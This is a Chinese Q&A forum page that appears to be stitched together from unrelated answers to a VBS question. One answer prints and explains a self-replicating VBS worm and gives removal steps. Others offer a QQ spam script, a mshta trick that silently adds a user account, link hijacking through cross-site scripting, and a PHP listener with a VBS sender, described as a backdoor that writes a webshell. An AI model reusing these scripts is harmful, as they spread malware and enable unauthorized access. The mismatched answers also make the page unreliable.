下面是一段VBS的语句,是调用和讯股票的上...

下面是一段VBS的语句,是调用和讯股票的上证指数,在VB运行...
齐春影 来自: 网页 2021-12-23 12:48

声明:本网站依照法律规定提供财经资讯,未授权或允许任何组织与个人发布交易广告。对任何广告信息请谨慎交易,谨防诈骗。举报邮箱:xxxxxxxxx@qq.com

2021-12-23 13:33最佳答案

VB代码和VBS代码不是一个东西...
Visual Basic是一种由微软公司开发的包含协助开发环境的事件驱动编程语言。从任何标准来说,VB都是世界上使用人数最多的语言——不仅是盛赞VB的开发者还是抱怨VB的开发者的数量。它源自于BASIC编程语言。VB拥有图形用户界面(GUI)和快速应用程序开发(RAD)系统,可以轻易的使用DAO、RDO、ADO连接数据库,或者轻松的创建ActiveX控件。程序员可以轻松的使用VB提供的组件快速建立一个应用程序。是需要编译后才能运行的。

VBScript是Visual Basic Script的简称,即 Visual Basic 脚本语言,有时也被缩写为VBS。这个不需要编译,因为它本身就是解释型的脚本文件。

其他回答(共7条)

  • 2021-12-23 13:42 窦连水 客户经理

    修改:此为解决方法的补充部分
    此vbs在“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”生成vbs.vbs
    找到他删掉
    每个盘都会生成autorun.inf vbs.vbs 游戏.vbs 文件,因为有autorun.inf文件,而你又没有从组策略中“关闭自动播放”时打开任何一个盘都会执行vbs.vbs文件,打开我的电脑后,单击搜索右边的文件夹,此时可以从左边树形浏览进入各个盘,此方法不会执行vbs.vbs,删掉每个盘里的autorun.inf vbs.vbs 游戏.vbs 文件,之后到c:\windows\system32下查看是否有成千个有5个字母加一个1到1000的vbs文件,有的话全删掉,从代码分析应该会产生的,但是我的电脑并没有此症状,c:\windows\system32下没有这些文件,前两个症状都有。
    当你删完autorun.inf时,可能每个盘双击都打不开,我的是这样,我呢,就从组策略(开始-运行-输入gpedit.msc确定),有两项,1计算机配置-管理模块-系统-右侧窗口找到 “关闭自动播放”更改属性为“已启用”“所有驱动器”2.用户配置--管理模块-系统-右侧窗口找到 “关闭自动播放”更改属性为“已启用”“所有驱动器”,此时就可以打开各个盘了,能打开盘后在打开组策略将“关闭自动播放”更改为“未配置”即恢复了自动播放功能。
    解决方法:
    1.在桌面新建文本文件123a.txt改名为123a.bat右键编辑输入下列代码
    taskkill /f /im wscript.exe
    pause
    保存
    双击运行,此时vbs程序被关闭
    打开C盘,保持任务管理器开着,看进程栏是否有wscript.exe进程有的话,再执行一下123a.bat文件,(因为有
    autorun.inf文件,打开C盘时可能运行vbs.vbs程序)
    依次打开到C:\WINDOWS\system32目录看看里面是不是有成千个vbs后缀的文件,文件名头两个字母为大写其次3个为小写再
    加一个1到1000的数字.vbs
    2.桌面新建文本文件del123.txt改名为del123.bat右键编辑输入下列代码
    del 5个字母*.vbs
    pause
    "5个字母更"换为C:\WINDOWS\system32目录下vbs的头5个字母,*代替数字1~1000
    例如
    del RYzie*.vbs
    pause
    因为你可能已经重启过数次电脑,此时目录下会产生不同5个字母加1~1000数字的vbs文件,替换要删除的vbs文件头5个字
    母到bat文件中,替换一次执行一次,直到删完为止
    3.手动删除C:根目录下的autorun.inf VBS.vbs 游戏.vbs 文件
    4.最后将C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs的文件删掉就大功告成了
    可以在结束了wscript.exe进程后将C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs
    的VBS.vbs右键编辑将其中代码全删掉保存成空文件,C:\VBS.VBS也如此,这样他就不会再执行了,因为循环语句判断的是
    是否存在vbs.vbs文件名而不是里面的内容,有个空文件他就不会执行复制操作了。之后在删掉它就行了。
    下面是代码解释部分
    Dim fso,SELF,filename,x1,x2,x3,ADName,DName
    on error resume next
    Set fso = CreateObject("scripting.filesystemobject")
    SELF = WScript.ScriptFullName
    If Not fso.FileExists("C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs") Then
    fso.CopyFile SELF,"C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs"
    End If
    '*****************
    '**如果“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”处没有VBS.vbs,就将正在运行的假如
    你运行的文件为a.vbs,会将a.vbs复制到上面的路径处改名为vbs.vbs,每次电脑启动vbs.vbs都会随开机运行
    '****************
    Randomize
    x3=Int((90 - 65 + 1) * Rnd + 65)
    x2=chr(x3)
    filename=filename&x2
    '****90为大写字母Z的ascii值65为大写字母A的ascii码值,上述代码是产生一个A~Z之间的大写字母给变量x2,将x2放入
    filename变量中
    Randomize
    x3=Int((90 - 65 + 1) * Rnd + 65)
    x2=chr(x3)
    filename=filename&x2
    '****90为大写字母Z的ascii值65为大写字母A的ascii码值,上述代码是产生一个A~Z之间的大写字母给变量x2,加到
    filename后面,即现在filename有两个随机的大写字母组成
    Randomize
    x3=Int((122 - 97 + 1) * Rnd + 97)
    x2=chr(x3)
    filename=filename&x2
    '******122为小写字母z,97为小写字母a同上
    Randomize
    x3=Int((122 - 97 + 1) * Rnd + 97)
    x2=chr(x3)
    filename=filename&x2
    Randomize
    x3=Int((122 - 97 + 1) * Rnd + 97)
    x2=chr(x3)
    filename=filename&x2
    '*****到此为止filename变量有开头两个大写字母大写字母和后三个随机小写字母组成共5个字母
    For x1=1 To 1000
    fso.copy SELF,"C:\WINDOWS\system32\"&filename&x1&".vbs"
    '*********复制正在运行的vbs文件到"C:\WINDOWS\system32"目录下名字为filename里的5个随机字母加上1到1000数字形
    '成的文件名,例如DYirm1.vbs DYirm2.vbs DYirm3.vbs ...DYirm1000.vbs共生成1000个vbs文件,由于是随机字母,所
    以每次你重新启动电脑时
    '都会执行C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs文件,启动一
    次"C:\WINDOWS\system32"内就对1000个文件他的头两个字母为大写且是随机的,后三个为小写也是随机的最后加数字
    Next
    Do
    Set ADName=fso.Drives
    For Each DName In ADName
    If DName.DriveType=2 Then
    '****drivetype=2为C盘
    If Not fso.FileExists(DName&"\autorun.inf") Then
    fso.CreateTextFile(DName&"\autorun.inf")
    fso.OpenTextFile(DName&"\autorun.inf",2).WriteLine("[AutoRun]")
    fso.OpenTextFile(DName&"\autorun.inf",8).WriteLine("ShellExecute=VBS.vbs")
    fso.OpenTextFile(DName&"\autorun.inf",8).Close
    End If
    '****在C盘建立autorun.inf文件,此文件中代码ShellExecute=VBS.vbs会使你打开C盘时运行c:\VBS.vbs文件
    If Not fso.FileExists(DName&"\VBS.vbs") Then
    fso.CopyFile SELF,DName&"\VBS.vbs"
    End If
    '***复制运行的vbs保存到C:\VBS.vbs
    If Not fso.FileExists(DName&"\游戏.vbs") Then
    fso.CopyFile SELF,DName&"\游戏.vbs"
    End If
    '***复制运行的vbs保存到C:\游戏.vbs
    End if
    Next
    loop
    '******无限循环,当他发现C盘中autorun.inf VBS.vbs 游戏.vbs 被删除,就会重新生成相应文件
  • 2021-12-23 13:26 赵顺财 客户经理

    这是一个QQ刷屏用的. 首先复制一段文字后,运行此VBS,将把此段文字发送10次,并在尾部加上1到10的序号.
    如若有误的话,就是AppActivate ""这没指定窗口标题,比如AppActivate "与孤星_交谈中",不过当鼠标手动激活窗口的话,程序同样能用.
    ----------
    Set WshShell= WScript.CreateObject("WScript.Shell") '创建对象
    WshShell.AppActivate "" '激活窗口,但应指定标题才对.
    for i=1 to 10 '1到10循环
    WScript.Sleep 500 '延时0.5秒
    WshShell.SendKeys "^v" '发送按键Ctrl+V,也就是粘贴
    WshShell.SendKeys i '分别发送按键1到10
    WshShell.SendKeys "%s" '发送按键Alt+s.也就是发送消息.
    Next '循环结束,对应for命令的.
  • 2021-12-23 13:16 龙小艳 客户经理

    将代码保存为脚本文件,如保存到C\1.vbs
    然后在vb中引用api函数:
    Private
    Declare
    Function
    ShellExecute
    Lib
    "shell32.dll"
    Alias
    "ShellExecuteA"
    (ByVal
    hwnd
    As
    Long,
    ByVal
    lpOperation
    As
    String,
    ByVal
    lpFile
    As
    String,
    ByVal
    lpParameters
    As
    String,
    ByVal
    lpDirectory
    As
    String,
    ByVal
    nShowCmd
    As
    Long)
    As
    Long
    这样调用这个函数就好了
    Private
    Sub
    Command1_Click()
    Dim
    VBS
    As
    String
    VBS
    =
    "C:\1.vbs"
    ‘文件路径
    ShellExecute
    ByVal
    0,
    "open",
    VBS,
    ByVal
    0,
    ByVal
    0,
    ByVal
    0
    End
    Sub
  • 2021-12-23 13:12 赵顺铃 客户经理

    vbs是单步执行的,一条一条来的,在没结束上一条语句之前下面的语句绝对没法运行。
    因此就是说在do
    loop语句还没退出循环时,后面的语句绝对没法执行。
  • 2021-12-23 13:05 龚宇飞 客户经理

    VB语言(包括VB、VBScript、VBS、VBA等所有VB家族的成员)的注释符号是单引号',不是//*
    所以你把所有 //* 换成 ' 就行了,比如:
    on error resume next //*容错语句,即使下面有错误也继续执行
    改为
    on error resume next '容错语句,即使下面有错误也继续执行
    当然,你把注释语句删掉也可以
  • 2021-12-23 13:01 窦连水 客户经理

    vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的,这个组件在 xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码:●CreateObject ("SAPI.SpVoice").Speak "I LOVE YOU"●,保存成vbs后缀后双击就会听到英语的我爱你了。但随之而来我们讲到另一个问题,不保存成vbs或vbe后缀如何运行vbs代码。

    一、用mshta来运行vbs
    hta这种类型的文件运行后也是系统权限,其调用宿主就是mshta.exe。我们在cmd下运行这样一行代码:●mshta vbscript:createobject("sapi.spvoice").speak("I LOVE YOU.")(window.close)●,也会听到同样的发音。这行代码的意思类似是临时生成一个hta文件,然后运行里边的vbs代码,再调用 window.close将运行窗口关掉。整个运行过程是看不到hta窗口的。这种运行方式你会想到什么?最少我是想到了两个。一个是批处理的隐藏运行,基本代码如下:
    ★
    @echo off
    if "%1" == "h" goto begin
    mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
    :begin
    rem 下边开始写批处代码了
    net user lcx 12345 /add
    ★
    这个代码只能双击运行,运行过程中你看不到具体的批处理运行流程的。第二个我想的是注射过程中的用途。网上有篇流传很广的文章《mssql注射中多次调用参数导致多次echo的解决方法》,中心思想是将vbs语句用冒号连接起来然后用echo命令一次写入到被注入的肉鸡上,然后再调用这个vbs来下载文件。如果调用mshta执行的话,下载、执行一次就ok了。不过在命令行下用mshta后边直接跟vbs代码有个难处理的问题是空格,不过这个好解决用 execute将vbs代码放在括号里就ok了,这个读者可以亲自去试一下了,相信我不难的。

    二、用ie地址栏运行vbs
    很多人会用ie地址栏运行js,其实vbs一样是可以的,我们随便打开一个网站,在地址栏上输入:vbscript:msgbox (Document.links.length)后回车,就会看到当前页面有多少个连接了。用document.links(i).href这句的话,将 i换成不同的自然数好比0、1、2、3等就会分别显示出不同的链接地址。这部份内容其实是涉及到dhtml的内容了。我们来看一个最简单的示例代码:
    ★
    <a href= > </a>
    <a href= > </a>
    ★
    这是两个链接,保存成网页后点击就会跳转到不同的页面。如果这个页面有跨站,我想搞下破坏,让用户点击 却跑到我指定的页面上能做到吗?其实可以的,只要加一行语句就可以了,代码是:●<body onload=vbscript:document.links(0).href=" ":document.links(0).innerHTML=" "> ●。这样的话用户再点击sohu其实会跑到google上去了,原来页面的版式却丝毫没有破坏。同样的dhtml元素还有document.links (i).href、document.images(i).src、document.forms(i).action等等,跨站改变其动态元素是很好玩的。

    三、调用外部组件来运行vbs
    vbs本身功能毕竟有限,但是却可以很好的与外部交互。要是用vbs来模拟nc发包的话,就要调用vb组件了。关于VBS如何成功调用 MSWinsock.Winsock,zzzevazzz说的很清楚了。就是下载Winsock.ocs注册,和VB6控件的授权密钥的.reg导入注册表。两个文件可以在 这里下载。前不久学了一段时间php,网上看到一个php的监听程序,可以用它来做一个后门,s端s.php代码如下:
    ★
    <?
    // 设置一些基本的变量
    $host = "192.168.8.100";
    $port = 12345;
    // 设置超时时间
    set_time_limit(0);
    // 创建一个Socket
    $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create
    socket ");
    //绑定Socket到端口
    $result = socket_bind($socket, $host, $port) or die("Could not bind to
    socket ");
    // 开始监听链接
    $result = socket_listen($socket, 3) or die("Could not set up socket
    listener ");
    // accept incoming connections
    // 另一个Socket来处理通信
    $spawn = socket_accept($socket) or die("Could not accept incoming
    connection ");
    // 获得客户端的输入
    $input = socket_read($spawn, 1024) or die("Could not read input ");
    // 清空输入字符串
    $input = trim($input);//将输入结果写入ok.php,这句是我加的
    fputs(fopen(ok.php,a+),"$input");

    //处理客户端输入并返回结果
    $output = strrev($input) . " ";
    socket_write($spawn, $output, strlen ($output)) or die("Could not write
    output ");
    // 关闭sockets
    socket_close($spawn);
    socket_close($socket);
    ?>
    ★
    在ie打开这个php,运行它的服务器会监听12345端口。如果我们再用vbs向12345端口发包的话,在同文件的php目录下会生成ok.php。发包的内容就是我们要写入ok.php的代码。该vbs文件c.vbs代码如下:
    ★
    Set ie=WScript.CreateObject("InternetExplorer.Application")
    ie.visible=false
    ie.Navigate " " s.php是服务端
    While ie.Busy
    WScript.Sleep 100
    Wend

    Do
    Wscript.Sleep 200
    Loop Until ie.ReadyState=4

    Set socket=WScript.CreateObject("MSWinsock.Winsock")
    socket.Protocol=0
    socket.RemotePort="12345" 端口
    socket.RemoteHost="192.168.8.100" 主机
    socket.connect socket.RemoteHost, socket.RemotePort 连接
    WScript.sleep 10
    ddd="<?phpinfo();>"&Chr(13) 这里你可以改成一句话的php木马
    socket.SendData ddd
    WScript.sleep 100
    wscript.echo "ok"
    socket.senddata Chr(13)
    socket.close

    Set ie=nothing
    ★
    一个vbs和一个php珠联璧合,打造了一个非常规后门。当然这个后门的价值不大,但重要的是思路
  • 2021-12-23 13:00 赵飞行 客户经理

    VBE格式在QQ传文件中往往不会被拦截,而VBS格式却会被拦截。有时杀软对于vb脚本文件会认为是病毒,这一般是脚本里有运行“shutdown -s xxx”之类的病毒性质的代码。
    试试只写个简单的msgbox语句看看,或者关闭杀软试试。

    默认以记事本打开,可能是文件关联的问题
    在cmd窗口运行下面的命令试试
    assoc .vbs=VBSFile

相关百科精选

  • 中英益利资... 中英益利资产管理股份有限公司...

  • 中英人寿保险有限公司 中英人寿保险有限公司由世界第六大保险集团——英国英杰华集团与大型国有骨干企业——中粮集团合资组建,注册资本为5亿元人民币,于2003年1月1日在广州正式开业,目前业务已扩展至北京、广东、四川和福建等全国多个省